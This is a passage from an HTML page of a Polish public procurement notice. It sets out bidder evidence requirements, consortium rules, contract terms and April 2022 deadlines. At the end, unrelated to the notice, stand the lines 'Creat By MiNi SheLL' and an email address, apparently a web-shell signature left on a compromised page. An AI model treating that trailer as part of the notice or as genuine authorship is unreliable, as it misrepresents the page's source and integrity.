oceniona, do złożenia w wyznaczonym terminie, nie krótszym niż 5 dni od dnia wezwania, podmiotowych środków dowodowych. Podmiotowe środki dowodowe wymagane od Wykonawcy obejmują:<br/>2.1 Oświadczenie Wykonawcy, w zakresie art. 108 ust. 1 pkt 5 ustawy, o braku przynależności do tej samej grupy kapitałowej, w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów (Dz. U. z 2021 r. poz. 275), z innym Wykonawcą, który złożył odrębną ofertę, albo oświadczenia o przynależności do tej samej grupy kapitałowej wraz z dokumentami lub informacjami potwierdzającymi przygotowanie oferty, niezależnie od innego Wykonawcy należącego do tej samej grupy kapitałowej (Załącznik Nr 4 do SWZ);<br/>2.2 wykaz usług wykonywanych w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie wraz z podaniem przedmiotu zamówienia, dat wykonania, ich wartości i podmiotów, na rzecz których usługi zostały wykonane oraz załączeniem dowodów określających, czy<br/>te usługi zostały wykonane należycie, przy czym dowodami, o których mowa są referencje bądź inne dokumenty sporządzone przez podmiot, na rzecz którego usługi były wykonywane, a jeżeli Wykonawca z przyczyn niezależnych od niego nie jest w stanie uzyskać tych dokumentów – oświadczenie Wykonawcy – na potwierdzenie spełnienia warunku określonego w pkt 2.4.1) lub 2.4.2) (odpowiednio) lit. A. Część II SWZ. Wzór wykazu usług stanowi załącznik nr 4a do SWZ; <br/>2.3 wykaz osób skierowanych przez Wykonawcę do realizacji zamówienia wraz z informacjami na temat posiadanego przez nich wykształcenia lub doświadczenia zawodowego potwierdzającymi</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">1.1.	oświadczenie o braku podstaw wykluczenia z postępowania w zakresie określonymi w pkt 1 lit. B Części II SWZ (Załącznik nr 2 do SWZ);<br/>1.2.	oświadczenie o spełnieniu warunków udziału w postępowaniu w zakresie określonym w pkt 2 lit. A Części II SWZ (Załącznik nr 3 do SWZ);</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> Informacja dla Wykonawców wspólnie ubiegających się o udzielenie zamówienia (spółki cywilne/konsorcja).<br/>1. Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W takim przypadku Wykonawcy ustanawiają pełnomocnika do reprezentowania ich w postępowaniu albo do reprezentowania i zawarcia umowy w sprawie zamówienia publicznego. Pełnomocnictwo winno być załączone do oferty.<br/>2. W przypadku Wykonawców wspólnie ubiegających się o udzielenie zamówienia, oświadczenia, o których mowa w pkt 2 lit. F Części II SWZ, składa każdy z Wykonawców.<br/>Oświadczenia te potwierdzają brak podstaw wykluczenia oraz spełnianie warunków udziału w zakresie, w jakim każdy z Wykonawców wykazuje spełnianie warunków udziału w postępowaniu.<br/>3. Oświadczenia i dokumenty potwierdzające brak podstaw do wykluczenia z postępowania składa każdy z Wykonawców wspólnie ubiegających się o zamówienie. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Tak</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Zamawiający przewiduje możliwość zmiany zawartej umowy w stosunku do treści wybranej oferty w zakresie wskazanym w Projektowanych postanowieniach umowy, stanowiącym Załącznik Nr 6a, 6b do SWZ.<br/>Zmiana umowy wymaga dla swej ważności, pod rygorem nieważności, zachowania formy pisemnej. <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2022-04-12 11:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">https://gif.eb2b.com.pl</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2022-04-12 12:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2022-05-11</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Zamawiający informuje, że unieważni niniejsze postępowanie o udzielenie zamówienia publicznego na podstawie art. 310 pkt 1) ustawy Pzp, jeżeli środki publiczne, które Zamawiający zamierza przeznaczyć na sfinansowanie całości zamówienia nie zostaną mu przyznane, co zostało przewidziane w ogłoszeniu o zamówieniu.<br/><br/>Zamawiający informuje, że korzysta z nowej Platformy zakupowej pod adresem: https://gif.eb2b.com.pl<br/><br/>W przypadku jakichkolwiek wątpliwości związanych z zasadami korzystania z platformy zakupowej Wykonawca winien skontaktować się z dostawcą rozwiązania informatycznego, nr tel. +48 22 428 19 28, adres e-mail: admin@eb2b.com.pl (infolinia dostępna w dni robocze, w godzinach 7:00-16:00).

Creat By MiNi SheLL
Email: jattceo@gmail.com